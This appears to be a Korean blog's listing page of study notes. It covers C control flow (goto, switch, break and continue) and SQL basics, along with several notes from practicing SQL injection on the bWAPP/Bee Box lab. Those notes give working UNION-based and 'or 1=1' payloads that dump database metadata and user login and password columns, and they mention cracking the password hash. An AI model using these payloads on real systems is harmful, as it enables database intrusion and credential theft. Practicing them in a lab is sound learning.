목록All (98)
개인노트
* goto 문은 말 그대로 해당 레이블로 이동하는 구문이다. * #include int main(void) {int num;printf("1 ~ 3 사이의 수를 입력하세요.\n");scanf_s("%d", &num); if (num == 1)goto one;else if (num == 2)goto two;else if (num == 3)goto three;elsegoto other; one:printf("입력한 수는 1 입니다.");goto end;two:printf("입력한 수는 2 입니다.");goto end;three:printf("입력한 수는 3 입니다.");goto end;other:printf("1 ~ 3 사이의 수만 입력하세요.");goto end;end: getchar();getchar(..
#include int main() {char word;printf("철자를 입력하시오.\n");scanf_s("%c", &word); switch (word){case 'A':case 'a':printf("Apple");break;case 'B':case 'b':printf("Banana");break;case 'C':case 'c':printf("Cold");break;default:printf("what??");}getchar();getchar();}
#include int main() {int num;printf("1 이상 3 이하의 정수를 입력하시오.\n");scanf_s("%d", &num); switch (num){case 1:printf("당신이 입력한 수는 %d 입니다.\n", num);break;case 2:printf("당신이 입력한 수는 %d 입니다.\n", num);break;case 3:printf("당신이 입력한 수는 %d 입니다.\n", num);break;default:printf("1에서 3까지의 수만 입력하라고 했자나!!!!");}getchar();getchar();} num에 입력한 값의 정보와 일치하는 영역을 수행하게 된다. #include int main() {int num;printf("1 이상 3 이하의 정수를 입..
1. Break Break문을 감싸고 있는 반복문 중에서 가장 가까운 반복문을 한번 빠져나온다. 2. Continue 실행중인 코드의 위치에 상관 없이 반복문의 조건검사 부분으로 이동하여 다시 조건검사를 실행한다. while (dan
SQL Injection으로 사용자의 비밀번호를 알아내었다고 가정하자. 하지만 위 그림처럼 암호화가 되어있다면 어떻게 해야할까? 칼리리눅스의 hash-identifier라는 도구를 활용해서 암호화 방식을 알아 낸 후 해독하는 방법도 있다. 암호해독 사이트 : https://hashkiller.co.uk/sha1-decrypter.aspx 암호화된 비밀번호는 bug 였다.
함수 설명 @@version DB 서버의 운영체제 정보 @@datadir 서버 내의 DB 디렉토리 database() DB 이름 user() 현재 사용자 아이디 system_user() 최고 권한 아이디 → ms' union select all 1,user(),@@version,database(),@@datadir,6,7# → ms' union select all 1,table_name,3,4,5,6,7 from information_schema.tables# → information_schema의 테이블 목록 검색 → bWAPP라는 DB의 테이블 목록이다. 이곳에서 users라는 테이블의 정보를 빼내보자. → users 테이블의 필드 정보 → ms' union select all 1,login,pass..
* SQL Injection 실습 * 테스트 환경 Bee Box → sql에서 큰 따옴표를 쓰는지 작은 따옴표를 쓰는지 확인하기 위하여 검색창에 '와 "를 입력하여 검색해본다.→ 두개의 검색결과가 다른데 작은 따옴표를 에러메시지가 출력 되었고 큰 따옴표는 찾을 수 없다는 메시지가 출력 되었다.→ 이로써 해당 sql에서는 큰 따옴표를 사용 중임을 알 수 있다...고 생각할 수 있지만 위의 에러메시지는 쿼리문에서 따옴표를 열고 닫을 때 생기는 에러메시지이므로 작은 따옴표를 사용 중이라는 것을 알 수 있다. → 쿼리 결과를 참으로 만들고 정상코드의 뒷부분을 주석 처리한다. → 컬럼 개수가 일치하여 쿼리가 참이 되므로 테이블 검색이 가능하다. → [검색할 내용]' union select [컬럼 수] [주석]→ ..
주석 설명 -- 한 줄 주석 # 한 줄 주석 /* */ 다중 주석 → → mysql 서버의 버전 정보를 보여준다. → "" or 1=1 # "→ # = 주석→ "1=1" 이부분이 참이 되기 때문에 값이 반환된다. → "" or 'apple'=apple' -- "→ -- = 주석→ 위와 마찬가지로 'apple'='apple' 이부분이 참이 되기 때문에 출력이 된다.
* union을 사용하기 위해서는 두 테이블의 컬럼 수가 같아야 한다.* 문법 * select * from [TABLE_NAME] union select * from [TABLE_NAME]; → 새로운 테이블을 생성 후 값을 넣어 준다. → 생성된 두개의 테이블을 union을 사용해서 합쳐보자. ( 두 테이블의 컬럼 수가 일치 해야만 가능하다. ) → 두개의 테이블이 합쳐져서 보인다. → 이렇게 거짓 값을 넣으면 해당 테이블은 출력이 되지 않는다.→ 해킹 대회에서도 이 방법을 사용하여 정보를 얻는다고 한다.
select * from [TABLE_NAME] limit [number 1 ,number 2 ]; ex) select * from APPLE limit 0,3;→ APPLE 테이블에서 첫번째(0)부터 3개의 레코드를 출력해라. select * from TISTORY limit 1,3;→ 테이블 TISTORY에서 두번째부터 3개의 레코드를 출력해라. select * from TISTORY limit 4,2;→ 테이블 TISTORY에서 다섯번째부터 3개의 레코드를 출력해라.